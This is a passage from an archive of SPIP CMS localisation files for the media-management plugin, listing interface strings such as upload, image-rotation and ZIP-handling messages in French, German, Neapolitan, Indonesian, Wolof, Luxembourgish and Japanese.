'id' => 'ID', # NEW
'image_tourner_180' => 'Rotation 180°', # NEW
'image_tourner_droite' => 'Rotation 90° à droite', # NEW
'image_tourner_gauche' => 'Rotation 90° à gauche', # NEW
'info_doc_max_poids' => 'Les documents doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).', # NEW
'info_document' => 'Document', # NEW
'info_document_indisponible' => 'Ce document n\'est pas disponible', # NEW
'info_documents' => 'Documents', # NEW
'info_gauche_numero_document' => 'DOCUMENT NUMÉRO', # NEW
'info_hauteur' => 'Hauteur', # NEW
'info_heure' => 'Heure', # NEW
'info_illustrations' => 'Illustrations', # NEW
'info_image_max_poids' => 'Les images doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).', # NEW
'info_inclusion_directe' => 'Inclusion directe :', # NEW
'info_inclusion_vignette' => 'Inclusion de la vignette :', # NEW
'info_installer_tous_documents' => 'Installer tous les documents', # NEW
'info_largeur' => 'Largeur', # NEW
'info_logo_max_taille' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).', # NEW
'info_modifier_document' => 'Modifier le document', # NEW
'info_portfolio' => 'Portfolio', # NEW
'info_referencer_doc_distant' => 'Référencer un document sur l\'internet :', # NEW
'info_statut_document' => 'Ce document est :', # NEW
'info_telecharger' => 'Télécharger depuis votre ordinateur :', # NEW
'infos' => 'Infos techniques', # NEW
'item_autoriser_selectionner_date_en_ligne' => 'Permettre de modifier la date de chaque document', # NEW
'item_non_autoriser_selectionner_date_en_ligne' => 'La date des documents est celle de leur ajout sur le site', # NEW
// L
'label_activer_document_objets' => 'Activer les documents pour les contenus :', # NEW
'label_apercu' => 'Aperçu', # NEW
'label_caracteristiques' => 'Caractéristiques', # NEW
'label_credits' => 'Crédits', # NEW
'label_fichier' => 'Fichier', # NEW
'label_fichier_vignette' => 'Vignette', # NEW
'label_parents' => 'Ce document est lié à', # NEW
'label_refdoc_joindre' => 'Document numéro', # NEW
'lien_tout_enlever' => 'Tout enlever', # NEW
'logo' => 'Logo', # NEW
// M
'media_audio' => 'Bandes sons', # NEW
'media_file' => 'Autres', # NEW
'media_image' => 'Images', # NEW
'media_video' => 'Séquences', # NEW
// N
'nb_documents_attache_succes' => '@nb@ documents ont bien été ajoutés', # NEW
'nb_documents_installe_succes' => '@nb@ fichiers chargés avec succès', # NEW
// O
'objet_document' => 'Document', # NEW
'objet_documents' => 'Documents', # NEW
// P
'par_date' => 'Date', # NEW
'par_hauteur' => 'Hauteur', # NEW
'par_id' => 'ID', # NEW
'par_largeur' => 'Largeur', # NEW
'par_taille' => 'Poids', # NEW
'par_titre' => 'Titre', # NEW
// T
'texte_documents_joints' => 'Vous pouvez autoriser l\'ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l\'article, ou affichés séparément.', # MODIF
'texte_documents_joints_2' => 'Ce réglage n\'empêche pas l\'insertion d\'images directement dans les articles.', # NEW
'titre_documents_joints' => 'Documents joints', # NEW
'titre_page_documents_edit' => 'Modifier le document : @titre@', # NEW
'tous_les_medias' => 'Tous les medias', # NEW
'tout_dossier_upload' => 'Tout le dossier @upload@', # NEW
'tout_voir' => 'Tout voir', # NEW
// U
'un_audio' => '1 bande son', # NEW
'un_document' => '1 document', # NEW
'un_file' => '1 document', # NEW
'un_image' => '1 image', # NEW
'un_video' => '1 séquence', # NEW
'une_utilisation' => '1 utilisation', # NEW
'upload_fichier_zip' => 'Fichier ZIP', # NEW
'upload_fichier_zip_texte' => 'Le fichier que vous proposez d\'installer est un fichier Zip.', # NEW
'upload_fichier_zip_texte2' => 'Ce fichier peut être :', # NEW
'upload_info_mode_document' => 'Déposer dans le portfolio', # NEW
'upload_info_mode_image' => 'Retirer du portfolio', # NEW
'upload_limit' => 'Ce fichier est trop gros pour le serveur ; la taille maximum autorisée en <i>upload</i> est de @max@.', # NEW
'upload_zip_conserver' => 'Conserver l’archive après extraction', # NEW
'upload_zip_decompacter' => 'décompressé et chaque élément qu\'il contient installé sur le site. Les fichiers qui seront alors installés sur le site sont :', # NEW
'upload_zip_mode_document' => 'Déposer toutes les images dans le portfolio', # NEW
'upload_zip_telquel' => 'installé tel quel, en tant qu\'archive compressée Zip ;', # NEW
'upload_zip_titrer' => 'Titrer selon le nom des fichiers', # NEW
// V
'verifier_documents_brises' => 'Vérifier les fichiers manquants', # NEW
'verifier_documents_inutilises' => 'Vérifier les liens des documents', # NEW
'vignette_supprimee' => 'La vignette a été supprimée' # NEW
);
?>
medias_nap.php 0000666 00000004231 15252255273 0007371 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=nap
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'AUNÍ NU DOCUMIENTO', # MODIF
'bouton_ajouter_image' => 'AUNÍ NA MMÀGGINE', # MODIF
// E
'entree_dimensions' => 'Grannezza:',
'entree_titre_document' => 'Título d\\’\\’o documiento:',
'entree_titre_image' => 'Título d’’a mmàggine:',
// I
'image_tourner_180' => 'Avutate ’e 180°',
'image_tourner_droite' => 'Avutate ’e 90° â mano deritta',
'image_tourner_gauche' => 'Avutate ’e 90° â mano smerza',
'info_document' => 'Documiento',
'info_document_indisponible' => 'Chistu documiento nun è disponíbbele',
'info_documents' => 'Documiente',
'info_inclusion_directe' => 'Nclusione deretta:',
'info_inclusion_vignette' => 'Nclusione d’’a mmàggene:',
'info_installer_tous_documents' => 'Nstallà tutte ’e documiente',
'info_logo_max_taille' => 'E’ logo hann’’a tené tassativamente na grannezza ’e meno ’e @maxi@ (chistu file è ’e @actuel@).',
'info_portfolio' => 'Portfolio',
'info_telecharger' => 'Upload d’’o computer d’’o vuosto:',
// T
'texte_documents_joints' => 'È possibile autorizzare l’aggiunta di documenti (file di testo, fogli elettronici, immagini, file multimediali, ecc.) agli articoli e/o alle rubriche. Questi file possono poi essere richiamati nel testo dell’articolo, o visualizzati separatamente.', # MODIF
// U
'upload_fichier_zip' => 'File ZIP',
'upload_fichier_zip_texte' => '’O file ca vulite nstallà è nu file ZIP.',
'upload_fichier_zip_texte2' => 'Chistu file pô essere :',
'upload_limit' => 'Chistu file è troppo granne p’’o server; ’a grannezza massima cunzentita pe ll’<i>upload</i> è ’e @max@.',
'upload_zip_decompacter' => 'denzardato e ogne alemento fuje nstallato ’int’ô sito. ’E ffile ca sarranno nstallate ’int’ô sito songo :',
'upload_zip_telquel' => 'nstallato accussí comm’è, pecché archivio nzardato Zip ;'
);
?>
paquet-medias_de.php 0000666 00000000634 15252255273 0010503 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Medienverwaltung in SPIP',
'medias_slogan' => 'Medienverwaltung in SPIP'
);
?>
medias_id.php 0000666 00000004340 15252255273 0007210 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'TAMBAH DOKUMEN', # MODIF
'bouton_ajouter_image' => 'TAMBAH GAMBAR', # MODIF
// D
'double_clic_inserer_doc' => 'Klik ganda untuk memasukkan jalan pintas ini ke dalam teks',
// E
'entree_dimensions' => 'Ukuran:',
'entree_titre_document' => 'Judul dokumen:',
'entree_titre_image' => 'Judul gambar:',
// I
'image_tourner_180' => 'Putar 180°',
'image_tourner_droite' => 'Putar 90° kanan',
'image_tourner_gauche' => 'Putar 90° kiri',
'info_document' => 'Dokumen',
'info_documents' => 'Dokumen',
'info_inclusion_directe' => 'Penambahan langsung:',
'info_inclusion_vignette' => 'Ikutkan gambar kecil:',
'info_installer_tous_documents' => 'Instal semua dokumen',
'info_logo_max_taille' => 'Logo hendaklah kurang dari @maxi@ (berkas ini @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Referensi dokumen di internet:',
'info_telecharger' => 'Unggah dari komputer anda:',
// T
'texte_documents_joints' => 'Anda dapat mengizinkan penambahan dokumen (berkas-berkas office, gambar,
multimedia, dll.) ke artikel dan/atau bagian. Berkas-berkas ini
kemudian dapat direferensi dalam artikel atau ditampilkan terpisah.', # MODIF
'texte_documents_joints_2' => 'Pengaturan ini tidak menghentikan penambahan gambar secara langsung dalam artikel.', # MODIF
'titre_documents_joints' => 'Lampiran',
'tout_dossier_upload' => 'Seluruh direktori @upload@',
// U
'upload_fichier_zip' => 'berkas ZIP',
'upload_fichier_zip_texte' => 'Berkas yang hendak anda instal adalah berkas ZIP.',
'upload_fichier_zip_texte2' => 'Berkas ini bisa jadu:',
'upload_limit' => 'Berkas ini terlalu besar untuk server; ukuran maksimum yang diperbolehkan untuk <i>unggah</i> adalah @max@.',
'upload_zip_decompacter' => 'diekstrak dan setiap berkas yang terdapat di dalamnya akan diinstal di situs. Berkas-berkas yang akan diinstal adalah:',
'upload_zip_telquel' => 'diinstal seperti apa adanya, sebagai berkas ZIP;'
);
?>
medias_de.php 0000666 00000021137 15252255273 0007207 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Kein Ton',
'aucun_document' => 'Kein Dokument',
'aucun_file' => 'Keine Datei',
'aucun_image' => 'Kein Bild',
'aucun_video' => 'Keine Videos',
'aucune_utilisation' => 'Dieses Dokument wird nicht verwendet.',
'aucune_vignette' => 'Kein Miniaturbild',
// B
'bouton_ajouter_document' => 'Dokument hinzufügen',
'bouton_ajouter_image' => 'Bild hinzufügen',
'bouton_ajouter_image_document' => 'Bild oder Dokument hinzufügen',
'bouton_attacher_document' => 'Anhängen',
'bouton_copier_local' => 'Lokale Kopie anlegen',
'bouton_download_depuis' => 'Von:',
'bouton_download_local' => 'Mein Computer',
'bouton_download_par_ftp' => 'FTP-Server',
'bouton_download_par_mediatheque' => 'Mediathek',
'bouton_download_sur_le_web' => 'Internet',
'bouton_enlever_document' => 'Entfernen',
'bouton_enlever_supprimer_document' => 'Löschen',
'bouton_enlever_supprimer_document_confirmation' => 'Wollen sie dieses Dokument wirklich löschen?',
'bouton_modifier_document' => 'Bearbeiten',
'bouton_parcourir' => 'Durchsuchen...',
'bouton_refresh_document' => 'Dokument neu laden',
'bouton_remplacer_document' => 'Dieses Dokument ersetzen',
'bouton_remplacer_image' => 'Dieses Bild ersetzen',
'bouton_remplacer_image_document' => 'Durch ein Dokument oder Bild ersetzen',
'bouton_supprimer' => 'Löschen',
'bouton_supprimer_tous_orphelins' => 'Löschen alle dokument ungenutzt',
'bouton_supprimer_tous_orphelins_confirmation' => 'Wollen Sie wirklich bis @nb@ unbenutzte löschen ?',
'bouton_upload' => 'Hochladen',
// D
'des_audios' => '@nb@ Töne',
'des_documents' => '@nb@ Dokumente',
'des_files' => '@nb@ Dokumente',
'des_images' => '@nb@ Bilder',
'des_utilisations' => '@nb@ Verwendungen',
'des_videos' => '@nb@ Videos',
'descriptif' => 'Beschreibung',
'document_attache_succes' => 'Das Dokument wurde erfolgreich hinzugefügt.',
'document_copie_locale_succes' => 'Die Datei wurde erfolgreich in auf den Server übertragen.',
'document_installe_succes' => 'Die Datei wurde erfolgreich übertragen',
'document_vu' => 'In den Text eingefügt.',
'documents' => 'Mediathek',
'documents_brises' => 'Beschädigt',
'documents_distants' => 'Externe',
'documents_locaux' => 'Lokale',
'documents_non_publies' => 'Nicht veröffentlicht',
'documents_orphelins' => 'Ungenutzt',
'documents_publies' => 'Veröffentlicht',
'documents_tous' => 'Alle',
'double_clic_inserer_doc' => 'Mügen Sie mit einem Doppelklick das Kürzel in den Text ein',
// E
'entree_dimensions' => 'Grössenangaben:',
'entree_titre_document' => 'Titel des Dokuments:',
'entree_titre_image' => 'Titel des Bilds:',
'erreur_aucun_document' => 'Dieses Dokument ist nicht in der Mediathek vorhanden.',
'erreur_aucun_fichier' => 'Es wurde kein Dokument gefunden.',
'erreur_chemin_distant' => 'Die Datei @nom@ konnte nicht über das Netz erreicht werden.',
'erreur_chemin_ftp' => 'Die angegebene Datei wurde nicht auf dem Server gefunden.',
'erreur_copie_fichier' => 'Die Datei @nom@ konnte nicht kopiert werden.',
'erreur_dossier_tmp_manquant' => 'Es fehlt ein temporäres Verzeichnis zum Übertragen der Dateien',
'erreur_ecriture_fichier' => 'Fehler beim Speichern der Datei',
'erreur_format_fichier_image' => 'Das Format von @nom@ ist nicht als Bild geeeignet.',
'erreur_indiquez_un_fichier' => 'Geben sie eine Datei an!',
'erreur_insertion_document_base' => 'Das Dokument @fichier@kann nicht in der Datenbank erfasst werden.',
'erreur_suppression_vignette' => 'Fehler beim Löschen des Thumbnails',
'erreur_upload_type_interdit' => 'Die Übertragung von Dokumenten mit dem Namen @nom@ ist nicht erlaubt.',
'erreur_upload_vignette' => 'Fehler beim Laden des Miniaturbilds @nom@',
'erreurs' => '@nb@ Fehler',
'erreurs_voir' => '@nb@ Fehler ansehen',
// F
'fichier_distant' => 'Externe Datei',
'fichier_manquant' => 'Datei fehlt',
'fichier_modifie' => 'Die Datei wurde geändert. Klicken sie hier zum Speichern.',
'format_date_incorrect' => 'Datum oder Uhrzeit sind falsch.',
// I
'icone_creer_document' => 'Dokument hinzufügen',
'id' => 'ID',
'image_tourner_180' => 'Um 180° drehen',
'image_tourner_droite' => 'Um 90° nach rechts drehen',
'image_tourner_gauche' => 'Um 90° nach links drehen',
'info_doc_max_poids' => 'Die Dokumente dürfen höchstens @maxi@ groß sein (diese Datei hat @actuel@).',
'info_document' => 'Dokument',
'info_document_indisponible' => 'Dokument nicht verfügbar',
'info_documents' => 'Dokumente',
'info_gauche_numero_document' => 'DOKUMENT NUMMER',
'info_hauteur' => 'Höhe',
'info_heure' => 'Stunde',
'info_illustrations' => 'Illustrationen',
'info_image_max_poids' => 'Die Bilder dürfen höchstens @maxi@ groß sein (diese Datei hat @actuel@).',
'info_inclusion_directe' => 'Direkte Einbindung:',
'info_inclusion_vignette' => 'Einbindung des Icons:',
'info_installer_tous_documents' => 'Alle Dokumente installieren',
'info_largeur' => 'Breite',
'info_logo_max_taille' => 'Die Logogrösse darf nicht @maxi@ überschreiten (aktuelle Dateigrösse @actuel@).',
'info_modifier_document' => 'Dokument bearbeiten',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Dokument im Internet verlinken:',
'info_sans_vignette' => 'Ohne Icon',
'info_statut_document' => 'Dieses Dokument ist:',
'info_telecharger' => 'Von Ihrem Computer hochladen:',
'infos' => 'Technische Informationen',
'item_autoriser_selectionner_date_en_ligne' => 'Festlegen eines Datums für jedes Dokument gestatten',
'item_non_autoriser_selectionner_date_en_ligne' => 'Das Datum der Dokumente entspricht dem Zeitpunkt des Uploads.',
// L
'label_activer_document_objets' => 'Hochladen von Dokumenten erlauben für:',
'label_apercu' => 'Vorschau',
'label_caracteristiques' => 'Eigenschaften',
'label_credits' => 'Beteiligte',
'label_fichier' => 'Datei',
'label_fichier_vignette' => 'Miniaturbild',
'label_paginer_par' => 'Seitenweise sortieren nach:',
'label_parents' => 'Dieses Dokument gehört zu',
'label_refdoc_joindre' => 'Dokument Nummer',
'lien_tout_enlever' => 'Alles entfernen',
'logo' => 'Logo',
// M
'media_audio' => 'Töne',
'media_file' => 'Andere',
'media_image' => 'Bilder',
'media_video' => 'Videos',
'miniature_automatique_active' => 'SPIP wird automatisch eine Verkleinerung des Bildes herstellen',
// N
'nb_documents_attache_succes' => '@nb@ Dokumente wurden hinzugefügt',
'nb_documents_installe_succes' => '@nb@ Dateien wurden erfolgreich übertragen.',
// O
'objet_document' => 'Dokument',
'objet_documents' => 'Dokumente',
// P
'par_date' => 'Datum',
'par_hauteur' => 'Höhe',
'par_id' => 'ID',
'par_largeur' => 'Breite',
'par_taille' => 'Größe',
'par_titre' => 'Titel',
// T
'texte_documents_joints' => 'Sie können die Zuordnung von Dokumenten (Office-Dokumente, Bilder, Multimedia-Dateien, etc.) zu Artikeln und/oder Rubriken erlauben. Diese Dokumente können anschliessend innerhalb von Artikeln verlinkt oder separat angezeigt werden.',
'texte_documents_joints_2' => 'Diese Einstellung verhindert weder das Einfügen von Bildern noch von Dokumenten in den Text von Artikeln.',
'titre_documents_joints' => 'beigefügte Dokumente',
'titre_page_documents_edit' => 'Dokument bearbeiten: @titre@',
'tous_les_medias' => 'Alle Medien',
'tout_dossier_upload' => 'Das ganze Verzeichnis @upload@',
'tout_voir' => 'Alle anzeigen',
// U
'un_audio' => '1 Tondokument',
'un_document' => '1 Dokument',
'un_file' => '1 Dokument',
'un_image' => '1 Bild',
'un_video' => '1 Video',
'une_utilisation' => '1 Verwendung',
'upload_fichier_zip' => 'ZIP-Datei',
'upload_fichier_zip_texte' => 'Sie möchsten eine ZIP-Datei installieren.',
'upload_fichier_zip_texte2' => 'SPIP kann:',
'upload_info_mode_document' => 'Im Portfolio ablegen',
'upload_info_mode_image' => 'Aus dem Portfolio entfernen',
'upload_limit' => 'Datei zu gross zum Hochladen. Maximale <i>upload</i>-Grösse: @max@.',
'upload_zip_conserver' => 'Archiv nach Entpacken beibehalten',
'upload_zip_decompacter' => 'Das ZIP-Archiv auspacken. Diese Dateien werden dann auf dem Server installiert:',
'upload_zip_mode_document' => 'Alle Bilder im Portfolio ablegen',
'upload_zip_telquel' => 'Das ZIP-Archiv als eine Archivdatei installieren.',
'upload_zip_titrer' => 'Dateinamen als Titel verwenden',
// V
'verifier_documents_brises' => 'Fehlende Dateien prüfen',
'verifier_documents_inutilises' => 'Links der Dokumente prüfen',
'vignette_supprimee' => 'Das MIniaturbild wurde gelöscht.'
);
?>
medias_fr_fem.php 0000666 00000021550 15252255273 0010054 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Aucune bande-son',
'aucun_document' => 'Aucun document',
'aucun_file' => 'Aucun document',
'aucun_image' => 'Aucune image',
'aucun_video' => 'Aucune séquence',
'aucune_utilisation' => 'Ce document n’est pas utilisé',
'aucune_vignette' => 'Aucune vignette',
// B
'bouton_ajouter_document' => 'Ajouter un document',
'bouton_ajouter_image' => 'Ajouter une image',
'bouton_ajouter_image_document' => 'Ajouter une image ou un document',
'bouton_attacher_document' => 'Attacher',
'bouton_copier_local' => 'Copier dans le site',
'bouton_download_depuis' => 'depuis :',
'bouton_download_local' => 'mon ordinateur',
'bouton_download_par_ftp' => 'le serveur',
'bouton_download_par_mediatheque' => 'la médiathèque',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Détacher',
'bouton_enlever_supprimer_document' => 'Supprimer',
'bouton_enlever_supprimer_document_confirmation' => 'Êtes-vous sûre de vouloir supprimer le document ?',
'bouton_modifier_document' => 'Modifier',
'bouton_parcourir' => 'Parcourir…',
'bouton_refresh_document' => 'Rafraîchir le document',
'bouton_remplacer_document' => 'Remplacer ce document',
'bouton_remplacer_image' => 'Remplacer cette image',
'bouton_remplacer_image_document' => 'Remplacer par une image ou un document',
'bouton_supprimer' => 'Supprimer',
'bouton_supprimer_tous_orphelins' => 'Supprimer tous les orphelins',
'bouton_supprimer_tous_orphelins_confirmation' => 'Êtes-vous sûre de vouloir supprimer @nb@ orphelins ?',
'bouton_upload' => 'Téléverser',
// D
'des_audios' => '@nb@ bandes-son',
'des_documents' => '@nb@ documents',
'des_files' => '@nb@ documents',
'des_images' => '@nb@ images',
'des_utilisations' => '@nb@ utilisations',
'des_videos' => '@nb@ séquences',
'descriptif' => 'Description',
'document_attache_succes' => 'Le document a bien été ajouté',
'document_copie_locale_succes' => 'Le fichier a bien été copié dans le site',
'document_installe_succes' => 'Le fichier a bien été chargé',
'document_vu' => 'Inséré dans le texte',
'documents' => 'Médiathèque',
'documents_brises' => 'Brisés',
'documents_distants' => 'Distants',
'documents_locaux' => 'Locaux',
'documents_non_publies' => 'Non publiés',
'documents_orphelins' => 'Inutilisés',
'documents_publies' => 'Publiés',
'documents_tous' => 'Tous',
'double_clic_inserer_doc' => 'Double-cliquez pour insérer ce raccourci dans le texte',
// E
'entree_dimensions' => 'Dimensions :',
'entree_titre_document' => 'Titre du document :',
'entree_titre_image' => 'Titre de l’image :',
'erreur_aucun_document' => 'Ce document n’existe pas dans la médiathèque',
'erreur_aucun_fichier' => 'Aucun fichier n’a été trouvé',
'erreur_chemin_distant' => 'Le fichier distant @nom@ n’a pas pu être trouvé',
'erreur_chemin_ftp' => 'Le fichier indiqué n’a pas été trouvé sur le serveur',
'erreur_copie_fichier' => 'Impossible de copier le fichier @nom@',
'erreur_dossier_tmp_manquant' => 'Un dossier temporaire est manquant pour télécharger les fichiers',
'erreur_ecriture_fichier' => 'Erreur lors de l’écriture du fichier sur le disque',
'erreur_format_fichier_image' => 'Le format de @nom@ ne convient pas pour une image',
'erreur_indiquez_un_fichier' => 'Indiquez un fichier !',
'erreur_insertion_document_base' => 'Impossible d’enregistrer le document @fichier@ en base de données',
'erreur_suppression_vignette' => 'Erreur lors de la suppression de la vignette',
'erreur_upload_type_interdit' => 'Le téléchargement des fichiers du type de @nom@ n’est pas autorisé',
'erreur_upload_vignette' => 'Erreur lors du chargement de la vignette @nom@',
'erreurs' => '@nb@ erreurs',
'erreurs_voir' => 'Voir les @nb@ erreurs',
// F
'fichier_distant' => 'Fichier distant',
'fichier_manquant' => 'Fichier manquant',
'fichier_modifie' => 'Le fichier a été modifié. Cliquez sur enregistrer.',
'format_date_incorrect' => 'La date ou l’heure sont incorrectes',
// I
'icone_creer_document' => 'Ajouter un document',
'id' => 'ID',
'image_tourner_180' => 'Rotation 180°',
'image_tourner_droite' => 'Rotation 90° à droite',
'image_tourner_gauche' => 'Rotation 90° à gauche',
'info_doc_max_poids' => 'Les documents doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_document' => 'Document',
'info_document_indisponible' => 'Ce document n’est pas disponible',
'info_documents' => 'Documents',
'info_gauche_numero_document' => 'DOCUMENT NUMÉRO',
'info_hauteur' => 'Hauteur',
'info_heure' => 'Heure',
'info_illustrations' => 'Illustrations',
'info_image_max_poids' => 'Les images doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_inclusion_directe' => 'Inclusion directe :',
'info_inclusion_vignette' => 'Inclusion de la vignette :',
'info_installer_tous_documents' => 'Installer tous les documents',
'info_largeur' => 'Largeur',
'info_logo_max_taille' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_modifier_document' => 'Modifier le document',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Référencer un document sur l’internet :',
'info_sans_vignette' => 'Sans vignette',
'info_statut_document' => 'Ce document est :',
'info_telecharger' => 'Télécharger depuis votre ordinateur :',
'infos' => 'Infos techniques',
'item_autoriser_selectionner_date_en_ligne' => 'Permettre de modifier la date de chaque document',
'item_non_autoriser_selectionner_date_en_ligne' => 'La date des documents est celle de leur ajout sur le site',
// L
'label_activer_document_objets' => 'Activer le téléversement pour les contenus :',
'label_apercu' => 'Aperçu',
'label_caracteristiques' => 'Caractéristiques',
'label_credits' => 'Crédits',
'label_fichier' => 'Fichier',
'label_fichier_vignette' => 'Vignette',
'label_paginer_par' => 'Paginer par :',
'label_parents' => 'Ce document est lié à',
'label_refdoc_joindre' => 'Document numéro',
'lien_tout_enlever' => 'Tout enlever',
'logo' => 'Logo',
// M
'media_audio' => 'Bandes-son',
'media_file' => 'Autres',
'media_image' => 'Images',
'media_video' => 'Séquences',
'miniature_automatique_active' => 'SPIP génèrera automatiquement une miniature de l’image',
// N
'nb_documents_attache_succes' => '@nb@ documents ont bien été ajoutés',
'nb_documents_installe_succes' => '@nb@ fichiers chargés avec succès',
// O
'objet_document' => 'Document',
'objet_documents' => 'Documents',
// P
'par_date' => 'Date',
'par_hauteur' => 'Hauteur',
'par_id' => 'ID',
'par_largeur' => 'Largeur',
'par_taille' => 'Poids',
'par_titre' => 'Titre',
// T
'texte_documents_joints' => 'Vous pouvez activer l’interface d’ajout de documents (fichiers bureautiques, images, multimédia, etc.) aux articles, rubriques et autres. Ces fichiers peuvent ensuite être référencés dans le texte, ou affichés séparément.',
'texte_documents_joints_2' => 'Ce réglage n’empêche pas le téléversement d’images dans les articles ni l’insertion de document directement dans les textes des contenus.',
'titre_documents_joints' => 'Documents joints',
'titre_page_documents_edit' => 'Modifier le document : @titre@',
'tous_les_medias' => 'Tous les médias',
'tout_dossier_upload' => 'Tout le dossier @upload@',
'tout_voir' => 'Tout voir',
// U
'un_audio' => '1 bande-son',
'un_document' => '1 document',
'un_file' => '1 document',
'un_image' => '1 image',
'un_video' => '1 séquence',
'une_utilisation' => '1 utilisation',
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Le fichier que vous proposez d’installer est un fichier Zip.',
'upload_fichier_zip_texte2' => 'Ce fichier peut être :',
'upload_info_mode_document' => 'Déposer dans le portfolio',
'upload_info_mode_image' => 'Retirer du portfolio',
'upload_limit' => 'Ce fichier est trop gros pour le serveur ; la taille maximum autorisée en <i>upload</i> est de @max@.',
'upload_zip_conserver' => 'Conserver l’archive après extraction',
'upload_zip_decompacter' => 'décompressé et chaque élément qu’il contient installé sur le site. Les fichiers qui seront alors installés sur le site sont :',
'upload_zip_mode_document' => 'Déposer toutes les images dans le portfolio',
'upload_zip_telquel' => 'installé tel quel, en tant qu’archive compressée Zip ;',
'upload_zip_titrer' => 'Titrer selon le nom des fichiers',
// V
'verifier_documents_brises' => 'Vérifier les fichiers manquants',
'verifier_documents_inutilises' => 'Vérifier les liens des documents',
'vignette_supprimee' => 'La vignette a été supprimée'
);
?>
paquet-medias_lb.php 0000666 00000000646 15252255273 0010513 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gestioun vun de Medien vu SPIP',
'medias_slogan' => 'Gestioun vun de Medien am SPIP'
);
?>
medias_wo.php 0000666 00000003374 15252255273 0007247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=wo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Dolli ab jukki', # MODIF
'bouton_ajouter_image' => 'Dolli ab nataal', # MODIF
// E
'entree_dimensions' => 'Tolluwaay yi',
'entree_titre_document' => 'Boppu jukki bi',
'entree_titre_image' => 'Boppu nataal bi',
// I
'image_tourner_180' => 'Wëndeel 180°',
'image_tourner_droite' => 'Wëndeel 90° ci ndeyjoor',
'image_tourner_gauche' => 'Wëndeel 90° ci cammooñ',
'info_document' => 'Jukku;',
'info_documents' => 'Jukk;',
'info_inclusion_directe' => 'Boole bu jub : ',
'info_inclusion_vignette' => 'Boole bu wiñet bi : ',
'info_installer_tous_documents' => 'Sampal jukki yépp.',
'info_telecharger' => 'Yebeel ci sa ordinatëer.',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
// U
'upload_fichier_zip' => 'Dencukaay Zip.',
'upload_fichier_zip_texte' => 'Dencukaay bi nga bëgg samp dencukaay zip la.',
'upload_fichier_zip_texte2' => 'Dencukaay bi mën na.',
'upload_limit' => 'Dencukaay bi dafa rëy lool ci serwëer bi dayo bi gëna mag te nu daganal ko lii la. @max@.',
'upload_zip_decompacter' => 'Nagu na ba noppi mbir mu ne ci biir sampu na ci dàl bi. Su ko defee dencukaay yi nara sampu ci dà bi ñooy. ',
'upload_zip_telquel' => 'Ñu sampleen noonu ñu nekk baston bu nagu ci najub Zip.'
);
?>
medias_ja.php 0000666 00000005037 15252255273 0007212 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'ドキュメントの追加', # MODIF
'bouton_ajouter_image' => '画像を追加する', # MODIF
// D
'double_clic_inserer_doc' => 'ダブルクリックして文章にこのショートカットを挿入',
// E
'entree_dimensions' => 'サイズ:',
'entree_titre_document' => '文章のタイトル:',
'entree_titre_image' => 'イメージのタイトル:',
// I
'image_tourner_180' => '180°回転',
'image_tourner_droite' => '右に90°回転',
'image_tourner_gauche' => '左に90°回転',
